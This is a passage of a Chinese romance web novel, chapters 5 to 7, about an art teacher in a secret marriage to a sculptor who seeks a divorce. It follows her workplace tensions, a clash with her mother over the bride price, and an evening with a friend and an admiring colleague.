闻言,两个人不约而同的将棒棒糖的包装袋撕开,面对着徐佳一口将糖塞进嘴里,“哼”了一声跑开了。
“老师再见!谢谢老师的糖。”临走时冲常絮语摆了摆手。
看着两个学生跑出去的背影,徐佳差点没站稳,扶着桌沿堪堪坐下来,心凉了半截。
如果这件事被两个学生添油加醋放大,在机构里传扬……那到时候,她还有什么脸在机构待着?
她看着常絮语,暗暗攥起拳,心头燃起一堆焰火。
都是她害的。
表面装的跟白莲花一样,机构那么多同事都喜欢她,可刚才却纵容两个学生对她那么讲话,简直是伪善,让人讨厌。
她咬了咬牙。
只觉得身后的目光犹如一把把利刃,毫无顾忌的刺向她。
常絮语注意到她的目光,转过头不想搭理她。
一旁的同事过来,对着她悄声道:“可笑,你看徐佳的表情没?太精彩了。”
“平时在机构里恨不得横着走,这下好了,等着看好戏吧。”
常絮语皱了下眉头。
“算了,都在一个办公室。”
她不想闹得太僵。
“你把她当同事,她可未必把你当同事,”女人摇了摇头,“反正都是她咎由自取的。”
*
没两天过去,徐佳疑似霸凌常絮语的事就在机构里传的沸沸扬扬。
这天,徐佳红着眼从副校长办公室跑出来,又撞见常絮语,径直大喊道:“常絮语,你不就是仗着自己长得漂亮点,能跟副校长有一腿吗?这种不公平的职场环境,我也懒得在这待着。”
常絮语被她吼得愣了愣神。
她蹙着眉进了副校长室,见到简嘉岳背靠着沙发休息。
大概是还未熟睡,感觉有人进来,男人睁开了眼。
见到来人,他的怒气瞬时烟消云散。
“絮语,你怎么来了?坐吧。”简嘉岳展颜。
常絮语依旧站在门口,问:“简老师,徐佳是被辞退了吗?”
闻言,简嘉岳面色不悦,语气冷了下来。
“今年二班的成绩十分不理想,加上这两天的传言,我也能看出来她这个人心术不正,”他抬眼,关切道:“絮语你放心,以后不用担
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心再被她欺负了。”
“最近忙着准备校考,也是我的疏忽......如果早一点替你出头就好了,絮语,你不会怪我吧?”
简嘉岳起身走向她,边说着边走近她,言语间满是歉疚。
常絮语往后退了两步。
“简老师,谢谢你的照顾,只是有些话我要跟你说清楚,”她微微鞠躬,语气听不出什么情绪:“咱们只是同事而已,我敬佩你的教学能力和专业水平,但也仅此而已。”
都是明白人,简嘉岳自然知道她这是什么意思。
可他不是那种轻易就会放弃的人。
常絮语来这里工作只有一年之久,性格安静温和,也许对待感情比较慢热。
但没关系,他愿意等她敞开心扉接纳他的那一天。
男人低眸轻笑一声:“其实我对你的倾慕也源于你的才华,我今年要三十岁了,还是第一次对一个女孩产生爱慕,也希望你能理解。”
常絮语看着他,刚要应声,就听见他又继续说道——
“可絮语,你不能阻止我对你的倾慕,追求你,是我个人的事,答不答应就在你了,”他温和的笑道:“话说到这份上了,我也该有些担当,絮语,我确实喜欢你,从明天开始我将会正式追求你。”
常絮语一惊。
“不不不,简老师,其实我已经......”结婚了。
最后三个字,到了嘴边却被她拦了下来。
虽然是隐婚,但她既然主动提出开了春就跟易焯离婚,还是不要轻易再提了。
见她连连摆手,欲言又止,简嘉岳不明所以,还以为是她害羞。
“没关系的,我不会那样明目张胆让你面子上难堪,絮语,你不要有压力,”他顿了顿,“我喜欢你,所以一定会尊重你,选择你能接受的方式追求你。”
简嘉岳推了推眼镜框,沉声道:“而且徐佳的事,你也不用自责,公私分明,她的能力确实不够,我决定开除她,也是跟总校长商量过了的。”
常絮语为难了,她不知道该怎么办。
两难之境,忽然有人过来敲门叫她——
“常老师,有人在会客室等你。”
“好。”
她匆匆跑了下去,松了口气。
谁料推开门,看到来人,她瞳孔骤然紧缩。
易焯穿了件黑色长款羽绒服,身形笔直高大,捧了一大束花站在她面前,。
刚从工作里抽身,他眼下泛着淡淡青黛,狭长的眸子里带着丝丝倦意和散漫。
也许是要来见她的缘故,下颌上的胡茬被清理的干干净净。
他往前走了几步,将花送进她怀里。
“蔷薇,你最喜欢的,”他顿了顿,“晚上一起吃个饭吧,我定了餐厅。”
常絮语愣愣的接过去:“谢谢......”
花香带着他身上独有的薄荷香席卷而来,清扫了一些她刚才不太好的情绪。
跟他在一起,莫名感觉到心安。
她在心里常常舒了一口气。
易焯瞥见她微微扬起的唇角,微微泛红的脸颊,衬得她像朵蔷薇花似得。
简嘉岳以为是清美班的家长,便紧随其后,不料自门缝处看到这样的场景。
他蹙眉,一把将门推开。
“你是......易焯?”
跟校长交好的那个雕塑家,看到脸,他认出来了。
常絮语一惊,捧着花转身。
简嘉岳懵了:“你们这是......”
还没等常絮语开口,易焯便淡声道:“我来接老婆下班。”
5. Chapter 05
车里的温度要比外面高,常絮语一言不发的坐在副驾驶,也许是身上暖和了,她忽的吸了吸鼻子。
易焯将车倒出来停在路边,将抽纸盒子递给她。
“这几天我没在家,你就不好好穿衣服了?”他看了一眼她身上单薄的裙子和毛衣,蹙着眉,将备好的毛毯搭在她腿上,冷声道:“感冒还得吃药,不觉得苦吗?”
常絮语怕吃药,尤其是中药颗粒这一类的,苦味挂在舌苔上,吃一包能把她眼泪逼出来。
她还想反驳:“不冷……”
易焯单手把着方向盘,脸色黑的像乌云,没接话,她能感觉到,他这是在生气。
常絮语噤声,慢吞吞的擦着鼻子,随后试探性的瓮声瓮气道:“谢谢。”
车里有淡淡的白檀香味,还是前段时间她卖来送给他的香水。她不太懂这些,做了很多攻略,也算是费了心思吧......
看着怀里的一大捧蔷薇花,花瓣娇艳,闻见淡淡的清香,她缓缓抿了抿唇。
他喜欢时不时给她准备些礼物,结婚的这些日子,她也承认,易焯比她更用心。
毕竟,除了那瓶香水,她再也没送过他什么。
“我很喜欢这束花。”
她舒了一口气,轻声道。
易焯手把着方向盘的动作顿了顿,没吭声。
常絮语偷偷从镜子里看他,男人面色阴沉,眼底似是蒙着看不清的浓雾。
她缩回脑袋,咬着下唇,不知道自己又做了什么惹他不痛快的事。
紧张的时候,她就习惯性的咬指甲,这么多年来从没改过,因此,她的指甲生的又薄又小,从来不做美甲。
眼见她又要把指甲放进嘴巴里,易焯“啧”一声,又将车停到路边,抬手去捉她的。
他蹙眉,像个长辈似的沉声呵斥,“别咬指甲。”
怎么还跟个孩子似得?
常絮语一只手被他死死摁住,闻言愣了愣神。
低头看了一眼自己光秃秃的指甲,她耳根子“唰”的红了个透。
“对不起......”
她咬了咬下唇,认错。
易焯扶额,看着常絮语将头埋在长发里、绞着手指头抠来抠去的样子,被气笑了。
他算是明白了,过了这么多年,姑娘没长什么心眼,除了记性差之外,脾气依旧又犟又软。
总能轻而易举的牵制住他的情绪。
“你对我,打算永远都这样客气吗?”他忽然问。
“啊?”
常絮语懵懂的转过头,却看见男人阴沉的脸上隐忍着失落。
原来,他是在气这个。
“我只是觉得麻烦你不太好,”她抿了抿唇,“毕竟我们也快要离......”
话还没说完,她瞬间噤声,感受到他由内而外散发出的冷意。
怒意像浪潮一样,遏制不住的涌上来,惊拍沙岸。
易焯哼笑一声,狭长的眸子里满是凛冽,他转道,将油门一脚踩下去——
起初,她还不知道他要干什么,随着他速度越来越快,看着眼前飞速略过的小树,常絮语被吓的掉眼泪。
“求你停下来,我很怕。”
她尾音发颤,半眯着眼睛,不敢再看前面,只能转过身哀求他。
男人的理智也终于被这一声哭喊唤了回来。
一颗泪滴在手背上,滚烫。
看着她委屈的样子,易焯惊觉懊悔,一时间大脑空白,手足无措。
他对那两个字太过在意,连轴转的工作以为会让他神经疲劳,能够将离婚的事从记忆力删除,可他终究高估了自己,只要一想到“离婚”这件事,他就忍不住内心的躁动。
易焯将车停下来,伸手去擦常絮语挂在眼尾的余泪。
他确实没有抽烟的习惯,可这几天唯有烟能让他稍作镇静。
在常絮语面前,他不能抽烟,刚才听到她说的话,他控制不住那股阴郁的情绪。
她哭着,还没从恐慌中缓过神来,不愿叫他碰。
男人的手停在半空。
他闭了闭眼,哑然认错,“对不起。”
起初,他以为自己能克制住,想方设法让她留在自己身边,可没想到给她带来的却是伤痛。
也许从一开始,他就不该闯入她的生活。
像他这样的人,活该一辈子孤身一人,在这个世界上,就不该有人跟他沾上关系......
常絮语抽噎了一会,想了想,虽然是他的错,可她做的也不对,便想开口跟他讲和。
哪知易焯却快她一步——
“絮语,如果你想离婚,那我们就离婚。”
男人的喉结滚动着,暗哑的嗓音里糅杂着落寞的情绪。
她一愣。
这还是她第一次看到易焯的这幅神情。
男人要给她擦泪的手掌宽厚,骨节分明,却经常在不同的地方缠着创口贴。
那是他雕刻时留下的。
常絮语张了张口,却没能在说些什么,毕竟是她主张的。
良久,她淡淡应声:“好,那周末,我去我爸妈家一趟。”
“饭我就不和你吃了,还有工作。”她缓声,没什么情绪。
男人嗯了一声,将车停在小区门口:“那就吃个快的。”
车窗外是满目的枯枝腐叶,萧瑟非常,这年的冬,仿佛漫长的再也不会过去一般。
他不会告诉她,见不到她的日日夜夜,他会亲手雕刻出记忆里她的每一个面孔。
可是见到了人,却始终不敢往前进一步,诉说他汹涌的思念和爱意。
小区楼下有家馄饨面很好吃,两人坐下来,常絮语照例点了两碗麻辣红汤的馄饨面。
端上来时,碗里却多了两把香菜。
常絮语看着两碗绿油油的馄饨面犯了难,混沌冒着热气,她微微抿着唇,伸手取了双筷子,踌躇。
再看对面的易焯,埋着头,默不作声的吃面。
他吃饭很斯文,但吃的又很快,不拖泥带水,让人看了很舒心。
跟他结婚这么久,常絮语却不知道他喜欢吃什么。
他好像很好养活,从不挑食。
男人抬头,看了一眼她,便抬手将她碗里的香菜尽数挑拣了出来。
常絮语一愣。
“你......”
她的两颊渐渐变粉,看着他动作,情不自禁的用筷子有一下没一下地捣着碗底,心里有种说不出的情绪。
易焯没说话,只是就着汤面将那一把香菜送进嘴里。
很久之前,有两个孩子放了学在学校门口吃牛肉面,等了很久,却等来两碗加了香菜和葱花的牛肉面,其中一个孩子最讨厌吃香菜,于是,另一个孩子就把她碗里的香菜全挑进了自己碗里。
讨厌吃香菜的孩子很开心,大笑着说最喜欢和他一起吃饭,她不喜欢吃的东西,他都能帮忙解决掉。
记忆像沙漏里的沙,慢慢倒流进另一个时空,
当年的孩子却不再记得了。
“没关系,我还记得就好。”
他哑然。
常絮语没听清:“嗯?”
夜晚,路边的灯与这座城市的霓虹相互映照,发出绚丽的色彩,冷风穿过街角,吹起她一缕黑发。
她的眼睛乌亮,带着一丝困惑,一眨不眨的看着他。
易焯想伸手揉一揉她的发顶。
可最后,他笑了一声,摇了摇头,没在动作。
*
周末。
楼道里又暗又冷,墙角结着破败的、沾着泥尘的蛛网常,絮语买了一堆东西,艰难地爬着老式的楼梯。
她工作之后一直在外租房子住,老两口说什么也不肯换房子,将钱攒下来,说要给儿子娶媳妇用。
常延延戴着矫正视力的眼镜,坐在走廊里专心致志地看漫画,听见脚步声,往下探头。
看见常絮语,他心上一喜,立即跑了下去接过她手里大包小包的东西,朗亮的声音响了起来:“姐!你回来啦
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!”
常絮语慢慢活动了下肩膀,柔和的笑着点了点头。
“爸妈呢?”
常延延吃力地提着塑料袋子装的米面糕点,转头对她说:“咱爸出去喝酒了,妈在家做饭呢。”
常絮语闻言,皱眉:“又去喝酒了?”
常父早前跟人合伙做生意,没做成,还亏了不少钱,眼见发财无望,就整天靠酒精麻痹自己,说什么也不肯振作。
她闭了闭眼,一手搭上常延延的肩膀,挤出一丝笑:“走,回家。”
常絮语掏出钥匙打开门,熟悉的饭菜香扑面而来。
常母闻声走了出来,常絮语笑:“妈。”
常母蹙着眉,慌忙接过常延延手里的东西,冲常絮语厉声:“你怎么回事?让你弟弟提这么多东西?”
常延延看了看姐姐,低声说:“妈妈,是我主动帮姐姐拿的。”
常絮语抿了抿唇,缓缓低下头。
闻言,女人面上闪过一丝尴尬,蹬他一眼,转身将东西搁置在茶几上,咳了一声,话里没什么情绪:“洗手,一会吃饭。”
说着又撕开一包方便面:“不知道你来,家里宽面条不够了,给你煮包方便面吧。”
常絮语应了一声。
“诶,我都行妈。”
常母没再说什么,转身又进了厨房。
常延延兴冲冲的拉着姐姐进了屋子,给她展示自己书柜里的漫画书和手办。
“姐!给你看我的宝贝!”
常絮语坐下来,发出一声喟叹:“这么多啊。”
她看见柜子里的漫画书,限量的、全套的......甚至还有她小时候喜欢看的早已绝版的系列。
心中一动,她走上前去,伸手轻轻摸了摸那本漫画。
常延延看了看她,小心翼翼问:“姐,你喜欢这本吗?”
“如果你想要,我可以送你的!”
小男孩眼里闪着星星,握了握拳头,决定忍痛割爱。
在这个世界上,除了妈妈,就是姐姐对他最好,他最最崇拜的人就是他的姐姐了。
常絮语笑了笑,摸了摸他的发顶:“谢谢延延,你留着吧,姐姐早就不看这些了。”
常延延眨了眨眼。
“姐姐,我以后要跟你一样,学美术,当画家!”
他看过姐姐画的色彩风景画和素描,简直能用“震撼”形容,逼真又生动,实在是太厉害了!有朝一日他一定也要画出来。
闻言,常絮语一愣。
往事历历在目,不堪回首。
她收起笑,蹲下来双手扶着常延延的肩膀,抿了抿唇,低声道:“延延,你要好好学习,你是爸妈唯一的希望。”
“爸妈......很不喜欢姐姐学画画的。”
话罢,她眼中淌出几分落寞。
常延延愣了愣神,不明所以,天真问道:“为什么?老师说,有梦想就要努力实现啊!我说我想当画家,老师说我的梦想很好呢!”
小男孩炫耀似得扬了扬头。
常絮语沉默。
梦想吗?
也就是哄哄小孩子了......
她看着常延延笑时露出的两颗小虎牙,没再说什么。
饭桌上,常絮语埋头吃着面条,常母将碗里的两个煎鸡蛋夹到她和常延延碗里,自己端起只有面和汤的碗吃了起来。
常絮语想夹回去,却被女人皱着眉躲开,嘟囔道:“我血脂高,不吃鸡蛋,你吃吧别管我。”
她缓缓将手收了回来,咬了一口,仔细的咀嚼。
“最近跟易焯还好吧。”女人突然问。
常絮语咬了咬牙,将筷子放下来。
在常母满是期待的神色中缓缓道:“妈,我要跟他离婚。”
哪知——
“你想都不要想!”女人将碗筷砸在桌子上,冷声打断她。
一旁的常延延被吓了一跳。
常絮语一愣,缓缓抬眸,平静的看着她,想是早就料到一般。
6. Chapter 06
木筷子顺着桌沿慢慢滚,砸在地上发出“啪”的一声响。
常絮语抬眼,看着满面怒意的女人,眸中满是疲惫。
“常絮语,你能不能有点点良心?”
当着常延延的面,常母径直拿手指向常絮语,怒骂。
常絮语轻轻呼了一口气,只觉一股寒意仿若从掌心向四肢蔓延,一寸一寸占据她的身体。
“怎么了?”
“还敢问‘怎么了’?”常母哼笑一声:“你今年马上二十五了,延延还这么小,你离婚了是想怎样?每个月拿着那么点死工资,是指望家里还接济你是吗?”
女人的手攥成拳,在头顶狠狠锤了几下。
“易焯那么好的条件,能跟你结婚,你就感激你们老常家的祖坟冒了青烟吧!”
当初,常母也很意外,隔壁楼喜欢给人说媒的张翠芬会给常絮语介绍来易焯那样的男人。
外表优越,还有钱,张口就能给近一百万的彩礼,竟然还顺利的跟自家女儿结了婚!真是撞了大运才遇见这么个“金龟婿”。
“我不同意你离婚!这个事,你想都不要再想!”女人摆摆手,转过脸。
常絮语只觉眼前闪过一片空白。
从小到大,母亲从来没有尊重过她的意愿,来之前虽然已经猜测过这种结果,可真正遇上了,她依旧手足无措。
“妈,这是我跟他的事,离婚......是他同意了的。”
“什么?”
常母愣了愣,回过头来。
“常絮语,你到底做了什么对不起人家的事了要跟你离婚!”女人怒不可遏,气的头脑发昏。
她怎么生出个这么不争气的女儿!竟然还能把日子过到离婚这一步?
当年她跟常青山结婚的时候,常青山什么都没有,连台缝纫机都买不起,常絮语嫁了条件这么好的男人,还要离婚,简直是身在福中不知福。
常絮语皱眉:“妈你什么意思?我没有做什么对不起他的事。”
常母冷笑:“当初来相亲的时候我就看出来了,人家是个高素质的,还有钱,就你这个德行,不是你得罪了他,他能跟你狠心提离婚吗?”
当年不让她跟着常红出去鬼混,非要学那个破美术,到头来没一点用,真是不如不生她!
常母咬了咬牙。
常絮语眼尾泛红,她不明白为什么在母亲眼里她的亲生女儿会是这样的形象。
“妈,在你眼里,我是不是永远都不够好?”
就算她现在说离婚的事是她提出来的,母亲也绝对不会相信。
“一个女孩,你不结婚,还想干什么?你小时候还算听话的,这些年跟着常红都学坏了!”
女人低着眉眼,沉声训斥。
常絮语努力咽下将要夺眶而出的眼泪,放下碗筷起身。
“姑姑她这些年也很不容易,她好歹也叫你声嫂子,逢年过节没少往家里送东西,还给延延报算数班,妈,你说我可以,能不能别再提姑姑了?”
女人没吭声,自顾将筷子捡起来,埋头吸溜面条。
就在她要走的那一刹那,常延延拉住了她的衣角,两只黑葡萄似得眼镜无措的望着她,嗫嚅道:“姐......”
“别叫她姐,你没这个姐!”
女人停下来,忽然恶狠狠的打断他。
“我告诉你常絮语,当初易焯给的那笔彩礼钱我已经打算给延延在市中心买房用了,你就算跟他离婚了也别想着要回去这笔钱。”
女人抬眼,眼底泛起薄凉,没什么情绪。
常絮语闻言一愣,只觉全身血液倒流一般,脊背一阵阵的发冷,往后踉跄一步。
她扶上椅子的靠背稳住身体,转过头来,看着对她冷眼相待的母亲,不可置信的一字一顿质问:“你是说,那些钱......你全都买房子用了?”
女人吃完了面,仰头眯着眼和她对视。
“我这么多年是白养你的?”她抬高声音:“给你弟弟花点钱怎么了?他好歹叫你一声‘姐’,常絮语,你能不能别这么自私?”
常絮语闭了闭眼,终于流下了眼泪。
“妈,难道我只是你生来给弟弟兜底的吗?”
“你是姐姐,你......”
“行了,你不要再说了!”
她嘶喊着打断了女人的话。
常絮语将眼泪擦干净,背上包就走。
常母没拦着她,只是冷眼看着她离去的背影。
常延延跑过去抱住她的后腰,哭道:“姐,你什么时候回来......”
常絮语脚步一顿。
“姐,你一直都不回来,延延很想你。”
他的撇了嘴,声音带着孩童的稚气,眼里含着泪花。
只是一个期盼能经常见到最亲爱的姐姐的小男孩而已。
常絮语狠了狠心,转过身将他慢慢推开,大步往前走,“嘭”的一声关上了门。
常延延隔着一扇门大哭,被常母拉远。
……
久违的寒气再次扑面而来,她气血不足,常年手脚冰凉,现在却只觉得心比天寒。
像是感知不到温度一般,麻木地驱动着两条腿,望着灰蒙蒙的天和光秃秃的树,慢慢走着,不知道该去哪里。
她揉了揉脖子上系着的厚围巾,轻轻的呼出一口气,在冷空气里顷刻间化作了白雾。
不知不觉走到了一个废弃的公园。
常絮语找了一处还算干净的椅子坐了下来,看着周围破败的游乐设施,忽然感觉十分熟悉。
似曾相识,却又不记得在哪里见过。
她有点头痛,吸了吸鼻子,要从包里掏纸巾。
然而,打开包的瞬间,她愣住了。
包里赫然躺着一本限量版的漫画书。
将漫画缓缓掏出来,定睛,就是她抚摸过的、常延延书架上的那本。
常絮语的眼睛又酸了。
常延延的心脏不好,从小身子骨弱,还瘦瘦小小。
好几个月没看见他,他还是戴着个大眼镜框子,在她面前嘻嘻哈哈。
她咬着唇,慢慢的翻开手里的漫画书,碰到书页的指尖微微发烫。
熟悉的画面在眼前浮现,翻到某一页,忽然多出一张字条。
——送给我最最亲爱的画家大姐姐。
一颗泪自眼尾划了下来。
*
出租车停在了闺蜜袁梓胥家楼下。
常絮语买了一兜梭子蟹,给袁梓胥打电话。
袁梓胥是自由职业,只要没工作,就会窝在家打游戏,敲门声肯定是听不见的。
电话那头的键盘声急促非常。
“喂喂喂?说说说!”
“我今天可以住在你家吗?”
常絮语蹲在一处檐下,缓声问。
......
袁梓胥将一杯热茶端在她面前,坐在一边。
她们俩是大学同学,毕业后,袁梓胥从事插画行业,而常絮语选择了她喜欢的艺考教育行业。
常絮语是个慢性子,脾气好,待人接物温和从容,是个绝大多数人都会喜欢的姑娘。
袁梓胥觉得,艺考老师这个职业还蛮适合她的。<
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p>“怎么了?突然来找我。”还带着这么贵的螃蟹,真的是,助教老师工资就那么一点,日子不过啦?
不过说到这个,袁梓胥忽然想到她那位凑合着搭伙过日子的隐婚老公。
雕塑家,好像还挺有钱的。
她家絮语,可能间接也成了小富婆了吧。
不过两个人都是为了逃避家庭才凑在一起搭伙过日子,应该没什么感情。
也挺好,假结婚,但好处却落实了的。
“诶,絮语,我还没见过你那位DearestHeart,什么时候带出来让我看看呗。”
常絮语往后躺,窝进软枕里,长舒了一口气——
“我要离婚。”
袁梓胥一口茶差点喷出来。
“什么!?”
常絮语皱眉,双手捂着脸,瓮声瓮气的一吐为快:“丧偶式婚姻,我还不如自己过的清静。”
“而且,这种感觉太奇怪了,”她的眼睛从指缝里露出来,“他看我的眼神,像是在看另一个人......我不想作谁的替身。”
她情不自禁想到易焯摸她发顶时的样子,包括他看她的眼神,那么温切,与他整个人的气质完全不同……
“啊?真是岂有此理!”
袁梓胥闻言拍桌,皱着眉毛站起来——
“别以为有几个臭钱就能为所欲为了!”
她家絮语多好啊,凭什么给他不知道哪里来的什么白月光朱砂痣的女人当替身?
袁梓胥猛猛灌了两口茶,重重拍两下常絮语的肩膀,又把住,晃着人沉声道:“絮语,这个婚离定了,我支持你!”
常絮语被她晃得脑袋晕晕的,伸手比了个“OK”。
袁梓胥的电话响了,是订单客户打来的。
接完电话,她打了个哈欠,瘫进沙发里重重叹气。
常絮语轻轻给她顺着长发。
她的动作轻柔细腻,袁梓胥舒服的哼了哼,又闷声说:“累死了,这一单我画了超久!一会客户过来看看。”
常絮语来了兴趣,趴在她耳边问能不能欣赏一下。
“当然行啊,常老师,正好还能给我提提建议,走走走现在就去我工作室。”
袁梓胥“嗖”的站了起来,拉着常絮语就要走。
“等等,现在去看的话……会不会耽误你见客户啊?”常絮语有点担心。
袁梓胥摆了摆手:“哪能啊,客户是我一个朋友,没事的。”
话罢,她垂眸又仔细想了想,忽然笑了一声,拉起常絮语的手,眼睛亮亮的兴奋道:“正好,絮语,你们也能认识认识。”
“啊?”
常絮语有种不好的预感。
“走啦走啦。”
开了约莫二十分钟的车,到了袁梓胥工作室楼下。
袁梓胥看了看手腕上的表,四周望了望:“大概还没来,走吧咱们先上去。”
木板楼梯上一尘不染,上了楼,常絮语看着摆放的整整齐齐的丙烯、水彩颜料,真心佩服。
袁梓胥有洁癖,一个艺术工作者,能有这么干净的工作室也不容易。
说起来,她好像从来没去过易焯的工作室,也没亲眼见过他做雕刻时的场景……
室内窗帘紧闭,白炽灯的光照的人眼睛发涩,空气里揉杂着淡淡的颜料和消毒水的味道。
袁梓胥忙着搬画板,常絮语要过去帮她,忽然,背后传来一个男人的声音。
“絮语?”
常絮语闻声一愣,转过头去。
不远处,简嘉岳眼底带着惊喜和沉着,正微微仰着唇角看她。
7. Chapter 07
袁梓胥凑了过来,惊喜道:“简老师!”
她原本是想着,常絮语也在简嘉岳的所属机构做老师,简嘉岳还是上司,平时在那么大的机构里应该很少有说话的机会,就带着常絮语来他跟前混个脸熟。
简嘉岳笑着微微点了点头。
袁梓胥推搡着常絮语往前走,介绍道:“这是我闺蜜常絮语,你应该是有印象的,在你机构上班。”
常絮语抿了抿唇。
简嘉岳看着她,眼底泛着忽明忽灭的笑意。
“嗯,我跟絮语带同一个班,是很好的同事。”
“这么凑巧?”
袁梓胥一拍手,惊喜。
常絮语介于昨天的事一直有些不自在,始终未发一言,只轻声说了句好巧。
“是啊。”简嘉岳的视线集中在常絮语身上,眸中一动。
袁梓胥看着简嘉岳的神色,眯了眯眼。
她笑:“我先去拾掇,你们先聊一会儿。”
临走时,还碰了碰常絮语的肩,眨了眨眼,好像在说“我看好你哟”。
常絮语只想扶额,瞪圆了一双杏眼,皱眉向她传达:你到底要干嘛?
袁梓胥自动屏蔽她的眼神,说跑就跑。
......
空调刚打开,还没供上热气,桌上养着盆青色的文竹,常絮语在简嘉岳对面坐着,不自在的扣着手指甲。
简嘉岳到底比她年纪大一些,有些事,她不说,他也知道她内心到底在想什么。
“絮语,真没想到,你已经结婚了。”
他喝了口热水,将杯子放在一边,开门见山。
常絮语闻言,微微点了点头,语气带着歉疚:“简老师,其实......”
“我知道,”简嘉岳打断她,顿了顿:“这是你的私事,无论想不想告诉我都取决于你,絮语,我说过会尊重你。”
闻言,常絮语微微松了一口气。
一股暖流自心里向四肢流淌而去,她抿了抿唇,看着简嘉岳的,真心道了一声谢。
她和易焯是隐婚,当初结婚时就说就好了的,只是为了摆脱家里催促,领了证件,并没有举办婚礼。易焯身边人情况常絮语不清楚,不过,她身边倒是没有几个人知道她已经结了婚。
她没有跟简嘉岳坦白,那天易焯来接她闹了点乌龙,她确实很不好意思。
“都是同事,谢什么。”男人温和的笑了笑。
再抬眼看她,他却忍不住失落,眼底的光黯淡了些。
袁梓胥忙完了,三人一同进了画室。
画室里陈列着一幅幅油画,袁梓胥是美术学专业,上学时最喜欢莫奈,她的油画作品。画面大多新鲜生动。
而这其中,还有有一副,是常絮语画的。
简嘉岳一眼就找了出来。
“有一些伦勃朗的作品的影子,絮语。”
他指向那副画,点头认可。
常絮语愣了愣,有些不好意思的摸了摸鼻尖。
她确实很喜欢伦勃朗的画,喜欢处理画面中细腻的光影感。
可惜,她天生色弱,对颜色极度不敏感,上学的时候就数色彩考的差,拼命练习,艺考时才苟上了一档卷。
对她而言,画如生命,原本昏暗的画面,如果能偶然照进一束光,足矣让画面丰富精彩。
自静穆庄严中窥得鲜亮的生命力。
可她知道,一幅画从调色开始就已经在塑造光感了,原本就该灰暗的画面,即使提上高光,也无济于事。
不过就是骗骗自己,得一个安慰而已。
“这确实是我画的,简老师过誉了。”
常絮语淡淡地弯了弯唇。
袁梓胥竖起拇指:“可以啊简老师,这观察力真绝,一眼就找到我们絮语的画了!”
简嘉岳嗯了声,解释道:“我跟絮语毕竟在一起工作,她的画风,我很清楚。”
“只是絮语的色彩,还有待进步。”
简嘉岳看了她一眼。
常絮语今天情绪不稳定,也没心思再和他探讨画面问题,浅浅笑了笑,没再吭声。
过了一会,袁梓胥和简嘉岳单独商讨关于插画的事宜,袁梓胥的手稿有很多,简嘉岳单独给了要求和提议,所以要从手稿中继续凝练新的东西出来,算是个大工程。
常絮语独自在一边欣赏袁梓胥的作品。
画室里的一直亮着,常絮语在外面坐着看小说,眼看夕阳渐落,室内的温度很高,她把围巾接下来团了团枕着,不知不觉睡着了。
等两人出了画室,外面的灯被常絮语调成了橘调。
光线昏黄,她蜷在沙发一角,抱着毯子,平稳的呼吸着。
像是睡了很久。
两个人站在对面看着她,袁梓胥摇了摇头,叹声:“今天肯定是遇着什么难受的事了,不然不会跑到这来找我。”
常絮语一向独立,喜欢自己一个人安安静静的待着,看看小说画会儿画。
简嘉岳的视线一直停留在常絮语身上,闻言,喉结滚了滚。
他清楚常絮语的性格和为人,当时知道她跟那个雕塑家结婚的事,属实很意外。
那个男人骨子里透露着不羁和冷淡,额间的疤痕和出乎常人的身量,好像自带着威严,拒人千里之外。
那样的人......絮语怎么会跟那样的男人结婚?
他皱着眉,眯了眯眼,神色黯淡下去。
袁梓胥偷偷瞥他一眼,轻咳一声——
“诶,我能看出来,简老师是喜欢我们家絮语吧?”
简嘉岳一愣,回过神来又淡笑。
“是,不过絮语已经结婚了。”
他低眼,毫不避讳的回答她的话。
袁梓胥点了点头,闻言又摆了摆手,“啧”了两声:“那个男人对我们家絮语不好,我提醒你一句,他俩迟早是要离婚的,你能不能把握的住就看你的本事了啊。”
简嘉岳一愣。
“要离婚了?”
“嗯。”
女人拍拍衣角,看向沙发上熟睡的常絮语,眯了眯眼,说:“以前我们去寺庙那儿算过命,说絮语的感情路挺不顺的,也不知道真的假的,不过现在看,或许有几分真实。”
年纪轻轻就闪婚又离婚,她又是个闷性子,有什么事都憋在心里不愿意多说,跟那个将她做替身的男人大概话不投机。
简嘉岳皱眉。
“替身……”
他好不容易遇见的爱情,居然在别人那里只是一个微不足道的替身。
想到这,男人攥紧了拳头,暗暗咬了咬后槽牙,眸中情绪晦暗不清。
“对我们
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絮语不好的男人通通不要,”袁梓胥摇了摇头,看向简嘉岳,狠狠拍了拍他的肩头,信誓旦旦道:“简老师,我觉得你对我们絮语是真心的,我信你!”
简嘉岳垂眸想了想,神色凝重了几分。
“可,絮语从来没有提到过,她要离婚。”
她不提,是不是内心还有犹豫?
男人默默将手攥成拳头。
“跟你不熟呗,谁会莫名其妙跟不熟的人说这些事?”袁梓胥砸砸嘴:“简老师,你虽然年纪大点,但是胜在稳重成熟,我们絮语一向是个有孩子气的,需要照顾。”
简嘉岳眸中的颜色又深了几分。
袁梓胥走过去,轻轻拍了拍常絮语:“醒醒,絮语,咱们去吃饭。”
常絮语睁开眼,四周一片昏暗,她揉了揉眼站起来,慢慢开机,恍然已经到了晚上。
“吃什么?”
她眼神空洞,盯着某一处发愣,呆呆的问道。
袁梓胥给她顺了顺头发,想了想,回头问简嘉岳:“天也晚了,咱们一起吃点饭吧。”
简嘉岳看了看腕表,答应下来。
......
霓虹缤纷夺目,晃得人眼前缭乱非常。
像是年代久远幻灯片,一幕接着一幕,熟悉而亲切,旷远而深沉。
她将半张脸埋进厚厚的围巾里,两只手藏进棉服口袋,慢吞吞的跟在两人身后。
一双耳朵冻得红彤彤的,耳尖已经没什么知觉了。
北方的冷空气像一个被抢了玩具的娃娃,咧嘴委屈,脸一瘪就是哭,哭的汹涌,眼泪像涛涛骇浪,没完没了,越哄越上劲,等到人们认了怂,自己也哭累了,方休。
常絮语吸了吸鼻子,要是自己也能这么不讲道理就好了。
可惜没人会惯着她。
找了很久的饭店,两人决定吃烧烤。
袁梓胥拎来啤酒,满脸兴奋的跑过来。
常絮语的鼻炎犯了。
烧烤店的温度高,几个人将外套脱了下来。
简嘉岳和袁梓胥又合作成功了一回,开了酒忙着庆祝,脸上洋溢着不断的笑。
夜晚的烧烤店像是永无休止,热热闹闹的,每一桌聚在一起的年轻人都十分开怀。
烟熏和肉香的味道糅杂在一块儿,哄着这股气氛逐渐推向高潮。
常絮语觉得有点气闷,可是外面天寒地冻,她也不想再出去了。
看着袁梓胥杯子里黄澄澄的酒,像是通过酒面回顾了这一两个月的时光。
她愣愣的盯着酒杯,鬼使神差的端起来喝了下去。
袁梓胥有点惊诧:“絮语......”
印象里,她还没见过常絮语喝酒。
